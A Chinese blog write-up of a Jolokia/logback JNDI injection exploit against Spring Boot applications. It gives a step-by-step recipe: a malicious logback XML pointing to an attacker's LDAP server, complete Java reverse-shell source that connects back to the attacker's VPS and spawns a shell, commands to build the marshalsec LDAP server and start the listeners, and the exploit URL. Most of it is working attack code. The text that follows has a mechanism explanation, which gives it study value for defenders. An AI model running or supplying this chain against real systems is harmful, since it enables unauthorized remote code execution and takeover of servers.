「Springboot」记一次jolokia logback JNDI RCE

目标信息

  • URL: ****
  • 漏洞信息:jolokia logback JNDI RCE

利用条件

  • 不懂可以直接用nuclei扫描(
  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
  • 访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL 关键词。

利用过程

以下过程以Debian-Linux为准

  • 新建一个文件夹java并进入,mkdir java
  • 新建一个文件example.xml,写入以下代码并将IP修改为VPS的公网IP
    <configuration>
    <insertFromJNDI env-entry-name="ldap://你的VPSip:1389/JNDIObject" as="appName" />
    </configuration>
  • 复制下面的java代码重命名为JNDIObject.java,记得修改代码中的VPS地址
    import java.io.File;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    public class JNDIObject {
    static {
        try{
            String ip = "你的VPS IP";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
    }
  • 将JNDIObject.java编译为JNDIObject.class,先安装jdk11,apt install default-jdk,然后输入命令
    javac -source 1.6 -target 1.6 JNDIObject.java
  • 架设恶意的ldap服务;先将恶意环境的源码编译为jar包;先Git clone编译源码,最后编译
    apt install maven
    git clone https://github.com/mbechler/marshalsec.git
    cd marshalsec/
    mvn clean package -DskipTests
  • 将编译完成的恶意ldap服务jar文件取出到java文件夹中,然后执行命令开启服务(需要修改VPS的公网IP)
    cd /root/java/marshalsec/target
    cp marshalsec-0.0.3-SNAPSHOT-all.jar ~/java/
    cd ~/java/
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS的IP:80/#JNDIObject 1389
  • 开启python的http服务(用于被下载)与nc(用于反弹shell)
    python3 -m http.server 80
    nc -lvp 443
  • 环境准备好后访问存在漏洞的URL
    url/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/<VPS的公网IP>!/example.xml

相关截图

文件结构
/java/
|-- example.xml
|-- JNDIObject.class
|-- JNDIObject.java
`-- marshalsec-0.0.3-SNAPSHOT-all.jar


漏洞原理

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

评论

  1. Windows Firefox 108.0
    6 月前
    2024-5-18 11:08:08

    这篇文章写得深入浅出,让我这个小白也看懂了!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇